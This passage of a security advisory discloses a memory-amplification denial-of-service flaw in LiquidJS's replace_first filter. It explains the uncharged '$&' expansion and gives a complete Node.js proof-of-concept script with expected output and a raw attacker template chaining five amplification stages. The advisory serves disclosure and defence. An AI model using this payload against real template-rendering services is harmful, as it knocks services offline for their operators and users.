LiquidJS has Exponential Memory Amplification through its replace_first Filter $& Pattern

### Summary The `replace_first` filter in LiquidJS uses JavaScript's `String.prototype.replace()` which interprets `$&` as a backreference to the matched substring. The filter only charges `memoryLimit` for the input string length, not the amplified output. An attacker can achieve exponential memory amplification (up to 625,000:1) while staying within the `memoryLimit` budget, leading to denial of service. ### Details The `replace_first` filter in `src/builtin/filters/string.ts:130-133` delegates to JavaScript's native `String.prototype.replace()`. This native method interprets special replacement patterns including `$&` (insert the matched substring), `$'` (insert the portion after the match), and `` $` `` (insert the portion before the match). The filter calls `memoryLimit.use(str.length)` to account for the **input** string's memory cost, but the **output** string — potentially many times larger due to `$&` expansion — is never charged against the memory limit. An attacker can build a 1MB string (within `memoryLimit` budget), then use `replace_first` with a replacement string containing 50 repetitions of `$&`. Each `$&` expands to the full matched string (1MB), producing a 50MB output that is not charged to the memory counter. By chaining this technique across multiple variable assignments, exponential amplification is achieved: | Stage | Input Size | `$&` Repetitions | Output Size | Cumulative `memoryLimit` Charge | |-------|-----------|-------------------|-------------|-------------------------------| | 1 | 1 byte | 50 | 50 bytes | ~1 byte | | 2 | 50 bytes | 50 | 2,500 bytes | ~51 bytes | | 3 | 2,500 bytes | 50 | 125 KB | ~2.6 KB | | 4 | 125 KB | 50 | 6.25 MB | ~128 KB | | 5 | 6.25 MB | 50 | 312.5 MB | ~6.38 MB | **Total amplification factor: ~625,000:1** (312.5 MB output vs. ~6.38 MB charged to `memoryLimit`). Notably, the sibling `replace` filter uses `str.split(pattern).join(replacement)`, which treats `$&` as a literal string and is therefore not vulnerable. The `replace_last` filter uses manual substring operations and is also safe. Only `replace_first` is affected. ```typescript // src/builtin/filters/string.ts:130-133 — VULNERABLE export function replace_first (v: string, arg1: string, arg2: string) { const str = stringify(v) this.context.memoryLimit.use(str.length) // Only charges input return str.replace(stringify(arg1), arg2) // $& expansion uncharged! } // src/builtin/filters/string.ts:125-129 — SAFE (for comparison) export function replace (v: string, arg1: string, arg2: string) { const str = stringify(v) this.context.memoryLimit.use(str.length) return str.split(stringify(arg1)).join(arg2) // split/join: $& treated as literal } ``` ### PoC **Prerequisites**: - `npm install liquidjs@10.24.0` - An application that renders user-provided Liquid templates (CMS, newsletter editor, SaaS platform, etc.) Save the following as `poc_replace_first_amplification.js` and run with `node poc_replace_first_amplification.js`: ```javascript const { Liquid } = require('liquidjs'); (async () => { const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit // Step 1 — Verify $& expansion in replace_first console.log('=== Step 1: $& expansion in replace_first ==='); const step1 = '{{ "HELLO" | replace_first: "HELLO", "$&-$&-$&" }}'; console.log('Result:', await engine.parseAndRender(step1)); // Output: "HELLO-HELLO-HELLO" — $& expanded to matched string // Step 2 — Verify replace (split/join) is safe console.log('\n=== Step 2: replace is safe ==='); const step2 = '{{ "ABCDE" | replace: "ABCDE", "$&$&$&" }}'; console.log('Result:', await engine.parseAndRender(step2)); // Output: "$&$&$&" — $& treated as literal // Step 3 — 5-stage exponential amplification (50x per stage) console.log('\n=== Step 3: Exponential amplification (625,000:1) ==='); const amp50 = '$&'.repeat(50); const step3 = [ '{% assign s = "A" %}', '{% assign s = s | replace_first: s, "' + amp50 + '" %}', '{% assign s = s | replace_first: s, "' + amp50 + '" %}', '{% assign s = s | replace_first: s, "' + amp50 + '" %}', '{% assign s = s | replace_first: s, "' + amp50 + '" %}', '{% assign s = s | replace_first: s, "' + amp50 + '" %}', '{{ s | size }}' ].join(''); const startMem = process.memoryUsage().heapUsed; const result = await engine.parseAndRender(step3); const endMem = process.memoryUsage().heapUsed; console.log('Output string size:', result.trim(), 'bytes'); // "312500000" console.log('Heap increase:', ((endMem - startMem) / 1e6).toFixed(1), 'MB'); console.log('Amplification: ~625,000:1 (1 byte input -> 312.5 MB output)'); console.log('memoryLimit charged: < 7 MB (only input lengths counted)'); })(); ``` **Expected output:** ``` === Step 1: $& expansion in replace_first === Result: HELLO-HELLO-HELLO === Step 2: replace is safe === Result: $&$&$& === Step 3: Exponential amplification (625,000:1) === Output string size: 312500000 bytes Heap increase: ~625.0 MB Amplification: ~625,000:1 (1 byte input → 312.5 MB output) memoryLimit charged: < 7 MB (only input lengths counted) ``` The `memoryLimit` of 100MB is completely bypassed — 312.5 MB is allocated while only ~6.38 MB is charged to the memory counter. #### Demonstrated Denial of Service (concurrent attack) After confirming the single-request PoC, launch 20 concurrent attacks + legitimate user requests to measure actual service disruption. **Raw Liquid template payload sent by attacker:** ```liquid {% assign s = "A" %} {% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %} {% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %} {% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %} {% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %} {% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %} {{ s }} ``` > `$&` is a JavaScript `String.prototype.replace()` backreference pattern that inserts the entire matche…